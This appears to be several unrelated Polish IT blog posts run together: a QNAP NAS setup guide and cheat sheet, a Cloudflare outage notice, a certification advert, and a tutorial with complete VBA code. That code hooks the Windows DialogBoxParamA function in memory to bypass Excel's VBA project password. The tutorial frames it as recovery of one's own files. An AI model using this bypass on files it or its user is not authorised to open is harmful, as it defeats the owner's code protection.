• Tworzenie kopii zapasowych: QNAP w SMB – backup – cz. 3 – trzeci odcinek oficjalnej serii QNAP dla firm, poświęcony zagadnieniu wykonywania backupów danychqnap.com. Omówiono znaczenie regularnych kopii zapasowych oraz pokazano jak korzystać z aplikacji Hybrid Backup Sync (HBS3) do zabezpieczania danych na zewnętrznym dysku lub w chmurze.
• Udostępnianie plików w LAN i przez Internet: QNAP w SMB – uprawnienia i udostępnianie – odc. 2 – szkoleniowy film omawiający tworzenie udziałów sieciowych, nadawanie uprawnień użytkownikom oraz sposoby udostępniania danych zarówno w sieci lokalnej, jak i zdalnieyoutube.com. Pokazano m.in. konfigurację folderów współdzielonych, dostęp po SMB/AFP oraz wykorzystanie linków udostępniania myQNAPcloud.
• Zdalny dostęp do NAS (myQNAPcloud, VPN): QNAP dla małego biznesu: zdalny dostęp, praca grupowa – dedykowany webinar pokazujący krok po kroku konfigurację zdalnego dostępu do QNAP poprzez usługę myQNAPcloudyoutube.com. Wyjaśnia, jak zarejestrować NAS w myQNAPcloud, używać funkcji myQNAPcloud Link do bezpiecznego połączenia bez przekierowań portów, a także porusza kwestie pracy grupowej na odległość. (Dodatkowo QNAP udostępnił materiały o VPN – np. webinar “Bezpieczny i szybki VPN – QBelt oraz WireGuard” – dla zainteresowanych konfiguracją serwera VPN na QNAP.)
• Zarządzanie użytkownikami: Akademia QNAP – Tworzenie użytkowników – krótki poradnik wyjaśniający jak poprawnie dodawać nowych użytkowników w systemie QTS i nadawać im uprawnieniayoutube.com. Mimo że tworzenie kont jest proste, film zwraca uwagę na dostępne opcje (np. przypisanie do grup, ograniczenia quota) i dobre praktyki, które zwiększą bezpieczeństwo i porządek w dostępie do danych.
• Instalacja i zarządzanie aplikacjami: Webinar “Czy QNAP jest dla mnie? Poradnik i pierwsze kroki z NAS QNAP” – prezentacja możliwości systemu QTS oraz dostępnych aplikacji w App Centeryoutube.com. Omówiono w nim, jakie dodatkowe aplikacje (multimedialne, backup, biznesowe itp.) można zainstalować na NAS oraz jak przebiega instalacja i aktualizacja aplikacji z QNAP App Center. Zaprezentowano też ręczną instalację pakietów (.qpkg) oraz zarządzanie zainstalowanymi aplikacjami.
• Multimedia: QNAP jako serwer DLNA/Plex: QNAP x PLEX – centrum multimediów i streamingu – film instruktażowy pokazujący instalację i konfigurację Plex Media Server na QNAPyoutube.com. Prezentuje on, jak zamienić NAS w prywatne centrum multimedialne – od dodania biblioteki filmów/zdjęć, przez streaming na telewizory i urządzenia mobilne, po tworzenie kont dla domowników. (Uwaga: W przypadku DLNA QNAP oferuje też wbudowany serwer multimediów DLNA – wystarczy zainstalować i skonfigurować aplikację Media Streaming Add-On w App Center. Szczegóły konfiguracji DLNA omawiane są w innych materiałach QNAP.)

Polskojęzyczna dokumentacja i fora QNAP

Oprócz filmów warto skorzystać z dokumentacji w języku polskim – oficjalnej i społecznościowej – która przyda się początkującym użytkownikom domowym i małym firmom:

• Oficjalne poradniki QNAP (baza wiedzy): Na stronie QNAP dostępne są tutoriale “How-to” w języku polskim omawiające krok po kroku różne zagadnienia administracji NAS. Przykładowo, artykuł QNAP wyjaśnia jak zainicjować i podłączyć nowy serwer: “Jak zacząć korzystać z mojego QNAP NAS?” – zaleca on prawidłowe włożenie dysków, podłączenie NAS do sieci lokalnej i włączenie zasilaniaqnap.com, a następnie przeprowadzenie konfiguracji początkowej przez przeglądarkę lub Qfinder Pro. Inny poradnik opisuje tworzenie kont użytkowników: “Tworzenie konta QTS” – wystarczy wejść do Panelu sterowania > Uprawnienia > Użytkownicy i wybrać opcję utworzenia nowego użytkownikaqnap.com. QNAP publikuje również wiele instrukcji w formie pytań i odpowiedzi (FAQ) oraz porad dotyczących funkcji systemu – wszystko to znajdziemy na oficjalnej stronie wsparcia QNAP.
• “Instrukcja dla początkujących” QNAP: QNAP udostępnia polskojęzyczny przewodnik w formie artykułu podsumowującego najważniejsze wskazówki dla nowych użytkowników NAS. Można się z niego dowiedzieć “jak czerpać maksymalne korzyści z posiadanego urządzenia QNAP NAS” – przedstawiono tam 5 niezbędnych wskazówek, dzięki którym nawet początkujący użytkownik stanie się bardziej zaawansowanym administratorem NASqnap.com. W poradniku poruszono m.in. kwestie efektywnego zarządzania danymi, zabezpieczania zasobów oraz wykorzystania aplikacji QNAP. To dobre źródło do szybkiego zapoznania się z możliwościami systemu.
• Polski QNAP Club Forum (społeczność): Największe polskojęzyczne forum użytkowników QNAP – dostępne pod adresem forum.qnap.net.pl – to kopalnia wiedzy praktycznej. Znajdują się tam działy pomocy, poradniki “Jak to zrobić”, wiki oraz artykuły techniczne. Użytkownicy i eksperci dzielą się doświadczeniami, skryptami i rozwiązaniami najczęstszych problemów. Przykładowo, na forum opublikowano obszerny podręcznik omawiający wszystkie rozwiązania do tworzenia kopii zapasowych oferowane przez QNAP (HBS, migawki, cloud backup itp.)forum.qnap.net.pl. Inne wątki wyjaśniają konfigurację usług (myQNAPcloud, VPN, serwer WWW), zajmują się bezpieczeństwem NAS, czy opisują krok po kroku przypadki użycia (np. konfiguracja serwera multimedia, integracja z smart home). Społeczność QNAP Club Polska jest bardzo pomocna – warto skorzystać z wyszukiwarki na forum, ponieważ wiele pytań początkujących (np. o wybór RAID, ostrzeżenia S.M.A.R.T., konfigurację FTP itp.) zostało już tam szczegółowo omówionych.
• Skrócone instrukcje i poradniki PDF: Dystrybutorzy QNAP w Polsce również przygotowują materiały w naszym języku. Przykładem jest oficjalna instrukcja pierwszego uruchomienia NAS (w formacie PDF) dostępna na stronach FEN – zawiera ona czytelną listę kroków startowych: „1. Zamontuj dyski w kieszeniach. 2. Umieść kieszenie z dyskami w zatokach. 3. Podłącz przewód sieciowy oraz zasilanie. 4. Włącz serwer.”fen.home.pl. Tego typu ilustrowane “quick start guide” bywa dołączone do urządzenia, a także można go pobrać ze strony producenta (Centrum pobierania QNAP). Warto z niego skorzystać przy fizycznej instalacji NAS i początkowej konfiguracji.
• Blogi i serwisy technologiczne: W polskim Internecie nie brakuje artykułów poświęconych QNAP. Na portalach takich jak dobreprogramy, Benchmark.pl czy Komputer Świat znajdziemy recenzje i poradniki opisujące konfigurację NAS w przystępny sposób. Przykładowo, redakcja dobreprogramy w recenzji TS-231P podkreśliła, że QNAP oferuje rozwiązania atrakcyjne dla domu i małych firmforum.qnap.net.pl. Strona dyski-sieciowe.pl publikuje z kolei praktyczne wpisy – m.in. udostępniła serię filmów instruktażowych producenta z omówieniem inicjowania urządzenia krok po krokudyski-sieciowe.pl. Takie niezależne źródła mogą dostarczyć dodatkowych wskazówek, opartych na realnych testach i wdrożeniach.

(Powyższe materiały pomogą rozwiać wiele wątpliwości i krok po kroku przeprowadzą przez konfigurację najważniejszych funkcji NAS. Poniżej zaś znajduje się zapowiedziana praktyczna “ściągawka” – zbiór podstawowych czynności administracyjnych z krótkim opisem.)

Ściąga: podstawowe czynności krok po kroku

Poniżej zebrano najważniejsze zadania konfiguracyjne QNAP w formie skrótowej instrukcji. Każde zagadnienie zawiera zwięzłe kroki do wykonania – można je wykorzystać jako checklistę przy konfiguracji domowego lub małego firmowego NAS.

Pierwsze uruchomienie i inicjalizacja NAS

1. Montaż i podłączenie sprzętu: Umieść dyski twarde w kieszeniach i zamontuj je w zatokach urządzenia. Następnie podłącz NAS do sieci lokalnej (kablem Ethernet do routera) oraz podłącz zasilanie i włącz urządzeniefen.home.pl. Poczekaj około 2 minut, aż NAS zakończy rozruch – usłyszysz dwa sygnały dźwiękowe.
2. Wykrycie NAS w sieci: Zainstaluj na komputerze narzędzie QNAP Qfinder Pro (ze strony QNAP) lub skorzystaj z aplikacji mobilnej. Program automatycznie znajdzie Twój QNAP w sieci lokalnej. Możesz też otworzyć przeglądarkę i wpisać adres http://NAS_IP:8080 (lub http://nasznytylnumer.myqnapcloud.com, jeśli urządzenie zostało zarejestrowane w myQNAPcloud).
3. Kreator konfiguracji (QTS): Po nawiązaniu połączenia uruchomi się kreator QTS. Zostaniesz poproszony o nadanie nazwę serwera (Hostname) i utworzenie hasła administratora. W kolejnym kroku wybierz strefę czasową, ustaw datę i godzinę (lub synchronizację z Internetem), a także skonfiguruj adres IP (domyślnie na DHCP z routera, chyba że potrzebny jest stały IP). Zaloguj się na konto administratora, gdy kreator zakończy wstępną instalację systemuqnap.com.
4. Inicjalizacja pamięci: Po zalogowaniu do interfejsu QTS przejdź do Panelu sterowania > Pamięć masowa i migawki. Utwórz nową pulę pamięci obejmującą dostępne dyski – system zaproponuje konfigurację macierzy RAID (dla 2 dysków zwykle RAID1 dla bezpieczeństwa lub RAID0/JBOD dla większej pojemności). Następnie utwórz wolumin na puli (wybierz Typ woluminu – statyczny lub grubych/prowizorycznych). Po sformatowaniu woluminu przestrzeń jest gotowa do użycia.
5. Aktualizacja i podstawowe ustawienia: Sprawdź dostępność aktualizacji firmware QTS (Panel sterowania > Aktualizacja systemu) i zastosuj najnowsze, aby zapewnić bezpieczeństwo. Skonfiguruj powiadomienia e-mail lub Push (opcjonalnie) o statusie systemu. Warto też włączyć Network Time Protocol (NTP), aby NAS automatycznie synchronizował czas.

Tworzenie kopii zapasowej danych

1. Backup na dysk zewnętrzny (USB): Podłącz zewnętrzny dysk USB do portu QNAP. Zainstaluj i otwórz aplikację Hybrid Backup Sync (HBS3) z App Center. Przejdź do sekcji Kopia zapasowa i przywracanie, kliknij Utwórz zadanie i wybierz Nowe zadanie kopii zapasowej (kopia z NAS na urządzenie zewnętrzne). W kreatorze wybierz foldery/udziały z NAS do backupu, a jako cel wskaż podłączony dysk USB (pojawi się jako urządzenie zewnętrzne)qnap.com. Ustaw harmonogram (np. codziennie w nocy) i zatwierdź – NAS będzie regularnie zapisywał kopie plików na dysk zewnętrzny.
2. Backup do chmury lub innego NAS: W HBS możesz utworzyć zadanie kopii zapasowej zdalnej. Wybierz jako cel usługę chmurową (np. Google Drive, Dropbox) lub zdalny serwer NAS/FTP. Zaloguj się do wybranej usługi z poziomu HBS, określ folder docelowy w chmurze i zaplanuj harmonogram wysyłania backupu. HBS3 wspiera wiele platform chmurowych oraz protokoły Rsync, CIFS/SMB – dzięki temu łatwo zabezpieczysz dane również poza lokalną siedzibą.
3. Migawki (snapshot) danych: Jeśli Twój model i konfiguracja to obsługują, rozważ włączenie migawek na woluminie danych. Migawka pozwala odtworzyć pliki w stanie z przeszłości (chroni przed ransomware lub przypadkowym skasowaniem). W Pamięć masowa i migawki > Migawka ustaw harmonogram wykonywania migawek (np. co 12h) i liczbę ich przechowywania. Migawki działają wydajnie na woluminach typu Thin lub Thick, zapewniając punkt przywracania danych bez konieczności pełnego backupu.

Udostępnianie plików w sieci lokalnej

1. Tworzenie udziału sieciowego: W Panelu sterowania > Foldery współdzielone (udostępnione) kliknij Utwórz > Folder udostępnionyqnap.com. Podaj nazwę udziału (np. “Dysk_Zdjęcia”), opcjonalny opis oraz określ, na którym woluminie ma zostać utworzony. Możesz zostawić domyślną ścieżkę lub wskazać niestandardową lokalizację folderu. Zatwierdź tworzenie – nowy udział pojawi się na liście.
2. Nadawanie uprawnień: Po utworzeniu folderu automatycznie otworzy się okno Uprawnienia. Wybierz, którzy użytkownicy lub grupy mają mieć dostęp do udziału – możesz przypisać prawa tylko do odczytu lub odczyt/zapis. Domyślnie administrator ma pełny dostęp. Jeśli NAS ma integrować się z usługą katalogową (Windows AD/LDAP), można też ustawiać uprawnienia domenowe. Zapisz ustawienia – od tego momentu użytkownicy po zalogowaniu zobaczą nowy udział w swojej przestrzeni.
3. Dostęp SMB/NFS/AFP: Udziały plików QNAP są dostępne w sieci LAN poprzez standardowe protokoły. Na komputerach Windows otwórz Eksplorator plików i w pasku adresu wpisz \\Adres-IP-NAS lub \\Nazwa-NAS – pojawią się wszystkie foldery udostępnione, do których masz uprawnienia. Możesz też zamapować dysk sieciowy, klikając prawym na udział i wybierając “Mapuj dysk network drive”. Dla komputerów macOS użyj Finder (⌘+K i smb://adres_IP_NAS). W razie potrzeby w Panelu sterowania > Usługi plików upewnij się, że serwer Windows (SMB) jest włączony (analogicznie dla AFP jeśli używasz starszych Mac, lub NFS dla systemów Linux/Unix).

Udostępnianie plików przez Internet

1. myQNAPcloud Link (dostęp bezpośredni): Najprostszy sposób zdalnego dostępu bez konfiguracji routera. Otwórz aplikację myQNAPcloud na QNAP i zaloguj się na swoje QNAP ID (utwórz je, jeśli jeszcze nie posiadasz – rejestracja na account.qnap.com). Zarejestruj NAS w usłudze myQNAPcloud, nadając mu unikalną nazwę w chmurze. Włącz myQNAPcloud Link – po aktywacji serwer automatycznie połączy się z chmurą QNAP. Teraz z dowolnego miejsca możesz wejść na adres w formacie nazwanas.myqnapcloud.com (lub użyć aplikacji mobilnej Qfile/Qmanager), aby uzyskać dostęp do zasobów NASyoutube.com. MyQNAPcloud Link omija konieczność przekierowania portów i działa nawet gdy NAS jest za NAT/em (łącze P2P przez chmurę).
2. Tradycyjny dostęp przez Internet (DDNS + porty): Alternatywnie możesz użyć własnego DDNS i przekierować porty na routerze. W myQNAPcloud włącz Usługę DDNS i zarejestruj unikalną domenę twojnas.myqnapcloud.com (lub skonfiguruj inną usługę DDNS). Na routerze przekieruj porty wymagane do dostępu – przede wszystkim port HTTPS 443 (dla interfejsu QTS) oraz ewentualnie porty usług, z których chcesz korzystać (np. 8080 http, 21 FTP, 32400 dla Plex itd.). Ustaw stały adres IP LAN dla NAS, aby reguły przekierowań zawsze kierowały na właściwe urządzenie. Od tej pory możesz łączyć się z NAS poprzez adres DDNS i przekierowane porty – np. wpisując w przeglądarce https://twojnas.myqnapcloud.com/ (przeniesie do panelu logowania QTS).
3. Udostępnianie plików linkiem: QNAP umożliwia wygodne dzielenie się plikami przez wygenerowanie linku dostępowego. W aplikacji File Station kliknij prawym przyciskiem na plik lub folder, który chcesz udostępnić, i wybierz Udostępnij > Utwórz link udostępnianiaqnap.com. System wygeneruje unikalny URL (możesz go zabezpieczyć hasłem oraz ustawić datę wygaśnięcia linku). Przekaż ten link odbiorcy – będzie on mógł pobrać wskazane dane przez przeglądarkę, nawet jeśli nie ma konta na Twoim NAS. Linki udostępniania działają zarówno w sieci lokalnej, jak i przez Internet (NAS sam rozpozna, czy użyć połączenia lokalnego czy myQNAPcloud).

Zarządzanie użytkownikami

1. Dodawanie nowego użytkownika: Przejdź do Panel sterowania > Uprawnienia > Użytkownicy. Kliknij Utwórz i wybierz Utwórz użytkownikaqnap.com. W formularzu podaj nazwę konta i hasło. Opcjonalnie przypisz użytkownika do istniejącej grupy (np. users – domyślna grupa) oraz ustaw przestrzeń dyskową (limit quota) jeśli chcesz ograniczyć ilość danych, jaką może zapisać. Zatwierdź – nowe konto pojawi się na liście użytkowników.
2. Grupy użytkowników (opcjonalnie): Jeśli zarządzasz wieloma kontami, warto utworzyć grupy w Panel sterowania > Uprawnienia > Grupy użytkowników. Np. grupa “domownicy” może mieć dostęp do pewnych udziałów, a grupa “goście” z ograniczonym dostępem. Dodając użytkownika, można przypisać go do jednej lub kilku grup – ułatwia to nadawanie uprawnień hurtowo całej grupie zamiast każdemu kontu z osobna.
3. Uprawnienia do folderów: Aby zmienić dostęp danego użytkownika do folderu udostępnionego, otwórz Panel sterowania > Foldery współdzielone i kliknij Edytuj uprawnienia przy wybranym udziale. Pojawi się lista kont i grup – zaznacz odpowiednie prawa (r/w, r/o lub brak dostępu) dla wybranego użytkownika. Na przykład możesz dać wszystkim domownikom pełny dostęp do udziału Multimedia, ale kontu gościa tylko do odczytu. Zapisz ustawienia – zmiany od razu wpływają na widoczność folderów dla użytkowników.
4. Zmiana haseł i profil: Każdy użytkownik może po zalogowaniu do QTS zmienić swoje hasło (ikonka profilu > Zmień hasło) – zalecaj im używanie silnych haseł. Jako administrator możesz też resetować hasła w Panelu sterowania. Pamiętaj, by konto admin zawsze miało silne hasło; dla zwiększenia bezpieczeństwa można utworzyć osobne konto administratora i wyłączyć domyślne admin.

Instalacja i zarządzanie aplikacjami

1. Instalowanie aplikacji z App Center: Kliknij ikonę App Center w menu głównym QTS. Przeglądaj dostępne kategorie (Kopia zapasowa, Biznes, Multimedia, Narzędzia systemowe itp.) lub skorzystaj z wyszukiwarki, aby znaleźć konkretną aplikację (np. Plex, QVPN, Photo Station). Aby zainstalować aplikację, kliknij Dodaj/Zainstaluj przy wybranej pozycji – NAS pobierze paczkę i zainstaluje ją automatycznie. Po chwili aplikacja pojawi się na liście zainstalowanych. Możesz ją uruchomić z menu start lub pulpitu QTS.
2. Aktualizacje i autostart: W App Center przejdź do zakładki Zainstalowane – zobaczysz listę wszystkich aplikacji. Jeśli któraś wymaga aktualizacji, będzie widoczny przycisk Aktualizuj – warto utrzymywać aplikacje w najnowszych wersjach (można włączyć auto-aktualizacje). Klikając w nazwę aplikacji, sprawdzisz jej ustawienia – wiele usług (np. Plex, Download Station) uruchamia dedykowany interfejs w nowym oknie przeglądarki. Możesz także ustawić, które aplikacje mają startować automatycznie wraz z NAS (przydatne dla serwerów jak Plex czy Surveillance Station).
3. Instalacja ręczna (.qpkg): Jeśli potrzebujesz aplikacji spoza oficjalnego repozytorium (np. z forum QNAP Club), możesz zainstalować ją ręcznie. Pobierz plik .qpkg ze sprawdzonego źródła. W App Center kliknij ikonę (Ustawienia) i wybierz Zainstaluj manualnie. Wskaż plik .qpkg z dysku i zatwierdź – system zainstaluje aplikacjęqnap.com. Upewnij się, że pochodzą one z zaufanych źródeł. Ręcznie można doinstalować m.in. nieoficjalne narzędzia czy starsze wersje aplikacji. Po instalacji zarządzanie przebiega jak w przypadku innych aplikacji.
4. Zarządzanie i usuwanie aplikacji: W App Center możesz zatrzymać lub odinstalować aplikację w dowolnym momencie – użyj menu rozwijanego przy nazwie aplikacji (trzy kropki). Zatrzymanie wyłącza usługę, ale zostawia aplikację zainstalowaną (możesz ponownie uruchomić później). Odinstalowanie usuwa aplikację wraz z jej ustawieniami (czasem pozostawia katalog danych). Nie odinstalowuj domyślnych usług QTS (takich jak File Station czy Control Panel). Pamiętaj także, że niektóre aplikacje mają zależności – np. by korzystać z Photo Station, wymagane jest zainstalowanie Media Streaming Add-On. App Center poinformuje Cię o ewentualnych wymaganiach przy instalacji lub usuwaniu.

Wykorzystanie NAS jako serwera multimediów

1. Serwer DLNA (UPnP): QNAP może pełnić rolę serwera multimediów w sieci domowej (udostępniać zdjęcia, muzykę, filmy na TV, konsolach, smart TV). Zainstaluj z App Center aplikację Media Streaming Add-On oraz włącz Serwer DLNA w Panelu sterowania > Aplikacje > Serwer DLNA. W konfiguracji DLNA wskaż, które foldery mają być udostępniane (np. udział “Multimedia/Filmy”). Nadaj nazwę serwera DLNA (jak będzie widziany na telewizorze). Po zastosowaniu ustawień telewizory i inne urządzenia zgodne z DLNA w sieci LAN zobaczą Twój NAS jako serwer mediów – pozwoli to przeglądać i odtwarzać pliki (transkodowanie w locie jest dostępne na mocniejszych modelach QNAP).
2. Plex Media Server: Alternatywnie lub równolegle z DLNA możesz użyć popularnego Plex. Zainstaluj Plex Media Server z App Center. Uruchom aplikację – otworzy się interfejs konfiguracji Plex w przeglądarce. Załóż darmowe konto Plex i przejdź przez początkowy kreator: dodaj biblioteki mediów, wskazując foldery na NAS (np. Filmy, Muzyka, Zdjęcia). Plex zindeksuje zawartość i pobierze metadane (opisy, okładki). Zainstaluj aplikację Plex na swoich urządzeniach (smartfon, Smart TV) i zaloguj się – będziesz mógł strumieniować multimedia z NAS gdziekolwiek jesteś. Pamiętaj, by w Ustawieniach sieci Plex na NAS skonfigurować dostęp zdalny (UPnP lub port, jeśli chcesz oglądać poza domem). Film instruktażowy QNAP nt. Plex pokazuje szczegóły instalacji i konfiguracjiyoutube.com.
3. Aplikacje QNAP do multimediów: QNAP oferuje też własne aplikacje: Photo Station / Video Station / Music Station oraz ich nowsze odpowiedniki w QTS 5 (QuMagie dla zdjęć, Multimedia Console itp.). Możesz je zainstalować z App Center i używać do katalogowania oraz odtwarzania multimediów przez przeglądarkę. Np. Video Station pozwala streamować wideo w sieci lokalnej poprzez przeglądarkę i transkodować pliki. Do zdalnego dostępu mobilnego używaj oficjalnych aplikacji: Qfile (przeglądaj pliki), Qvideo, Qmusic, Qphoto – dostępne na Android/iOS. Po skonfigurowaniu myQNAPcloud lub VPN będziesz mógł cieszyć się swoją biblioteką multimediów z dowolnego miejsca.

Zdarzyło Ci się zapomnieć hasła do projektu VBA w arkuszu Excel lub otrzymać plik, którego kod VBA jest zabezpieczony hasłem? Taka sytuacja bywa frustrująca – zablokowany VBAProject uniemożliwia przeglądanie i edycję makr. Na szczęście istnieje metoda, która pozwala odblokować projekt VBA nawet bez znajomości hasła. W tym artykule przedstawiamy krok po kroku, jak za pomocą specjalnego kodu VBA uzyskać dostęp do zablokowanego projektu.

Uwaga: Opisana metoda służy do odzyskiwania własnych zapomnianych haseł lub odblokowania projektów za zgodą właściciela pliku. Nie należy jej wykorzystywać do nieautoryzowanego dostępu.

Instrukcja krok po kroku

Krok 1: Otwórz chroniony plik Excel. Uruchom skoroszyt Excela, który zawiera projekt VBA zabezpieczony hasłem (pliku, który chcesz odblokować). Upewnij się, że ten plik pozostaje otwarty podczas całego procesu (nie zamykaj go).

Krok 2: Utwórz nowy pusty skoroszyt i dodaj moduł z kodem. Otwórz nowy, pusty plik Excel (skoroszyt). Przejdź do edytora Visual Basic dla Aplikacji – możesz to zrobić naciskając Alt + F11 lub wybierając kartę Deweloper na wstążce, a następnie przycisk Visual Basic. W Edytorze VBA upewnij się, że aktywny jest projekt nowo utworzonego skoroszytu (powinien nazywać się np. VBAProject (Workbook.xlsx)). Dodaj nowy moduł (Menu Wstaw -> Module). Do tego modułu (automatycznie nazwanego Module1) wklej poniższy kod VBA:

' Source - https://stackoverflow.com/a 
' Posted by VePe, modified by community. See post 'Timeline' for change history
' Retrieved 2025-11-20, License - CC BY-SA 4.0

Option Explicit

Private Const PAGE_EXECUTE_READWRITE = &H40

Private Declare PtrSafe Sub MoveMemory Lib "kernel32" Alias "RtlMoveMemory" _
    (Destination As LongPtr, Source As LongPtr, ByVal Length As LongPtr)

Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As LongPtr, _
    ByVal dwSize As LongPtr, ByVal flNewProtect As LongPtr, lpflOldProtect As LongPtr) As LongPtr

Private Declare PtrSafe Function GetModuleHandleA Lib "kernel32" (ByVal lpModuleName As String) As LongPtr

Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, _
    ByVal lpProcName As String) As LongPtr

Private Declare PtrSafe Function DialogBoxParam Lib "user32" Alias "DialogBoxParamA" (ByVal hInstance As LongPtr, _
    ByVal pTemplateName As LongPtr, ByVal hWndParent As LongPtr, _
    ByVal lpDialogFunc As LongPtr, ByVal dwInitParam As LongPtr) As Integer

Dim HookBytes(0 To 11) As Byte
Dim OriginBytes(0 To 11) As Byte
Dim pFunc As LongPtr
Dim Flag As Boolean

Private Function GetPtr(ByVal Value As LongPtr) As LongPtr
    GetPtr = Value
End Function

Public Sub RecoverBytes()
    If Flag Then MoveMemory ByVal pFunc, ByVal VarPtr(OriginBytes(0)), 12
End Sub

Public Function Hook() As Boolean
    Dim TmpBytes(0 To 11) As Byte
    Dim p As LongPtr, osi As Byte
    Dim OriginProtect As LongPtr

    Hook = False

    #If Win64 Then
        osi = 1
    #Else
        osi = 0
    #End If

    pFunc = GetProcAddress(GetModuleHandleA("user32.dll"), "DialogBoxParamA")

    If VirtualProtect(ByVal pFunc, 12, PAGE_EXECUTE_READWRITE, OriginProtect) <> 0 Then

        MoveMemory ByVal VarPtr(TmpBytes(0)), ByVal pFunc, osi + 1
        If TmpBytes(osi) <> &HB8 Then

            MoveMemory ByVal VarPtr(OriginBytes(0)), ByVal pFunc, 12

            p = GetPtr(AddressOf MyDialogBoxParam)

            If osi Then HookBytes(0) = &H48
            HookBytes(osi) = &HB8
            osi = osi + 1
            MoveMemory ByVal VarPtr(HookBytes(osi)), ByVal VarPtr(p), 4 * osi
            HookBytes(osi + 4 * osi) = &HFF
            HookBytes(osi + 4 * osi + 1) = &HE0

            MoveMemory ByVal pFunc, ByVal VarPtr(HookBytes(0)), 12
            Flag = True
            Hook = True
        End If
    End If
End Function

Private Function MyDialogBoxParam(ByVal hInstance As LongPtr, _
    ByVal pTemplateName As LongPtr, ByVal hWndParent As LongPtr, _
    ByVal lpDialogFunc As LongPtr, ByVal dwInitParam As LongPtr) As Integer

    If pTemplateName = 4070 Then
        MyDialogBoxParam = 1
    Else
        RecoverBytes
        MyDialogBoxParam = DialogBoxParam(hInstance, pTemplateName, _
                   hWndParent, lpDialogFunc, dwInitParam)
        Hook
    End If
End Function

Powyższy kod jest sercem całej metody – odpowiada za przechwycenie okna dialogowego z prośbą o hasło i automatyczne jego zamknięcie/obejście. Został on pierwotnie opublikowany przez użytkownika VePe na forum Stack Overflow na licencji CC BY-SA 4.0. Działa zarówno w Excelu 32-bit, jak i 64-bit (makro uwzględnia oba przypadki w preprocesorze #If Win64).

Krok 3: Dodaj drugi moduł i kod uruchamiający odblokowanie. W tym samym skoroszycie (pustym, pomocniczym) dodaj kolejny moduł (Module2). W Module2 wklej poniższy krótki kod:

' Source - https://stackoverflow.com/a 
' Posted by VePe, modified by community. See post 'Timeline' for change history
' Retrieved 2025-11-20, License - CC BY-SA 4.0

Sub unprotected()
    If Hook Then
        MsgBox "VBA Project is unprotected!", vbInformation, "*****"
    End If
End Sub

Kod ten wywołuje wcześniej zdefiniowaną funkcję Hook() i jeśli wszystko się powiedzie – wyświetla komunikat „VBA Project is unprotected!” (co oznacza, że projekt VBA został odblokowany).

Krok 4: Uruchom makro odblokowujące. Upewnij się, że masz otwarte oba pliki Excel: (1) oryginalny zablokowany skoroszyt oraz (2) nowy skoroszyt z wklejonymi powyżej modułami. Teraz uruchom makro unprotected z Module2. Możesz to zrobić np. poprzez umieszczenie kursora w treści makra i naciśnięcie klawisza F5, kliknięcie przycisku Uruchom () w edytorze VBA lub wybranie makra z menu Makra. Po uruchomieniu skryptu powinna pojawić się informacja w okienku dialogowym: „VBA Project is unprotected!”. Oznacza to, że zabezpieczony projekt VBA został pomyślnie odblokowany.

Krok 5: Sprawdź efekt i usuń hasło. Przełącz się z powrotem do Edytora VBA i rozwiń drzewo projektu VBA oryginalnego skoroszytu. Projekt powinien być już widoczny – hasło nie jest wymagane do podglądu modułów ani formularzy. Teraz zaleca się usunąć lub zmienić hasło na nowe, aby plik nie pozostał w stanie zabezpieczonym nieznanym hasłem. W tym celu w Edytorze VBA wybierz menu Tools (Narzędzia) → VBAProject Properties (Właściwości projektu VBA) → zakładka Protection (Ochrona). Odznacz opcję „Lock project for viewing” (jeśli jest zaznaczona) oraz usuń stare hasło wpisując w polu hasła cokolwiek i usuwając to (lub wpisz nowe znane hasło i potwierdź). Zatwierdź i zapisz plik. Dzięki temu przy ponownym otwarciu pliku projekt VBA będzie już dostępny normalnie (stare nieznane hasło zostanie zastąpione).

Podsumowanie i uwagi

Powyższa metoda wykorzystuje sprytny trik z użyciem API systemowych Windows do chwilowego obejścia okna dialogowego proszącego o hasło do projektu VBA. W efekcie Excel „myśli”, że poprawne hasło zostało podane, dzięki czemu projekt zostaje odblokowany. Ten sposób okazał się skuteczny w wielu wersjach Excela (potwierdzono działanie m.in. w Excel 2016 (32-bit) oraz w najnowszych kompilacjach Office 365 (64-bit)). Należy jednak podkreślić, że metoda nie usuwa oryginalnego hasła z pliku – odbezpiecza projekt tylko w bieżącej sesji programu. Aby trwale zdjąć hasło, musimy je ręcznie usunąć lub nadpisać (jak opisano w kroku 5).

Jeżeli z jakiegoś powodu opisany makro-sposób nie zadziała (niektórzy użytkownicy zgłaszali rzadkie przypadki niepowodzenia), istnieje alternatywna metoda polegająca na edycji pliku w edytorze HEX Metoda hex polega na zmianie ciągu odpowiadającego za hasło w pliku binarnym projektu VBA – jest to bardziej skomplikowane i czasochłonne, ale może służyć jako ostateczność. W praktyce jednak przedstawiony wyżej trik z makrem zwykle jest wystarczający i znacznie prostszy (omija konieczność ręcznego grzebania w pliku).

Mamy nadzieję, że ten poradnik okazał się pomocny. Dzięki niemu odblokujesz swój projekt VBA w Excelu i odzyskasz dostęp do kodu nawet bez znajomości oryginalnego hasła. Pamiętaj o ostrożności przy korzystaniu z takich narzędzi i zabezpieczaj swoje projekty hasłami, o których nie zapomnisz . Powodzenia!

Cloudflare właśnie raportuje problemy z działaniem swojej globalnej sieci oraz utrudniony dostęp do panelu wsparcia.

W praktyce może to oznaczać m.in.:

wolniejsze ładowanie stron,

chwilowe niedostępności usług,

problemy z dostępem do paneli / aplikacji korzystających z Cloudflare.

Zgłoszenia pojawiły się ok. 11:48 UTC (12:48 czasu polskiego), obecnie trwa analiza i prace nad usunięciem problemu.

Jeśli Twoja strona lub aplikacja działa w oparciu o Cloudflare i zauważasz problemy – to najprawdopodobniej jest to efekt tej awarii, a nie usterki po Twojej stronie.

Status możesz śledzić tutaj: status.cloudflare.com

W razie potrzeby pomożemy zweryfikować, czy Twój serwis jest dotknięty skutkami tej awarii i co można zrobić po Waszej stronie, by zminimalizować ryzyko podobnych sytuacji w przyszłości.

W dobie rosnącej liczby cyberzagrożeń i coraz większych wymagań prawnych w zakresie ochrony danych, bezpieczeństwo informacji staje się jednym z kluczowych filarów wiarygodności organizacji.
Z tego powodu powstał program TRUSTGUARD – kompleksowy system certyfikacji bezpieczeństwa informacji, dedykowany kancelariom prawnym, audytorom, spółdzielniom oraz instytucjom administracyjnym.

Dlaczego warto uzyskać certyfikat TRUSTGUARD?

Certyfikat TRUSTGUARD to nie tylko potwierdzenie wdrożenia odpowiednich zabezpieczeń – to realna gwarancja, że organizacja dba o poufność, integralność i dostępność przetwarzanych danych.
